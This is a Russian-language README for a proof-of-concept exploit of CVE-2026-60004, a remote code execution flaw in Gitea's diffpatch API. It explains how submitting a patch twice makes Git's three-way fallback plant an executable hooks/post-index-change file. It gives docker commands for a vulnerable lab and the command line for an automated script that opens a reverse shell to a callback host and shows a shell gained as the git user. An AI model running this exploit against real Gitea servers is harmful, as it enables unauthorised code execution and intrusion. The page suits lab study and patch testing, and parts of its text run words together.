
Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 — это уязвимость удалённого выполнения кода (RCE) в Gitea. API
diffpatchприменяет предоставленный патч с помощьюgit apply --cached, который должен затрагивать только индекс и никогда не записывать файлы на диск. Отправляя один и тот же патч дважды, атакующий вызывает коллизию add/add, которая запускает резервный механизм трёхстороннего слияния Git (-3). Этот путь игнорирует--cachedи извлекает файл в рабочее дерево. Поскольку временный клон является bare, корень его рабочего дерева — это$GIT_DIR. Патч, создающий исполняемыйhooks/post-index-change, таким образом размещает живой Git-хук, который Git автоматически запускает при следующем обновлении индекса — выполняя команды от имени служебной учётной записи Gitea. Для конечной точки требуется доступ на запись в репозиторий, но регистрация включена по умолчанию, поэтому любой пользователь, который может зарегистрироваться и создать репозиторий, может до неё добраться.
| Категория | Версия |
|---|---|
| Уязвимые | Gitea 1.17 ≤ версия ≤ 1.27.0 |
| Исправленные | Gitea 1.27.1 или новее |
git)Соберите и запустите уязвимое окружение Gitea. Регистрация оставлена открытой, а на
сервере установлен Git 2.32+, который включает резервный механизм -3, на который опирается атака.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Предварительное условие | Состояние в этой лаборатории |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ на сервере (включает -3) | 2.54 |
| Открытая регистрация | включена (по умолчанию) |
| Доступ на запись в репозиторий | через самостоятельно зарегистрированную учётную запись |
Эксплойт полностью автоматизирован скриптом gitea_exploit.py. Имея учётную запись, которая может
создать репозиторий, он создаёт целевой репозиторий, отправляет один и тот же патч
повторно, пока не сработает резервный механизм -3 Git, и перехватывает обратную оболочку с помощью
встроенного слушателя — не требуется ни ручной настройки, ни создания патчей, ни вычисления blob-хешей.
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
Резервный механизм -3 срабатывает только в определённых временных окнах, поэтому скрипт зацикливает
create → send → send, пока не перехватит оболочку (по умолчанию 25 попыток). Когда отправка блокируется,
хук сработал, и слушатель опускает вас в оболочку от имени git:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
Опции:
--no-listen — перехватить оболочку собственным внешним nc вместо встроенного слушателя--user / --pw / --repo / --branch — переопределить учётную запись и целевой репозиторий по умолчаниюDISABLE_REGISTRATION=true)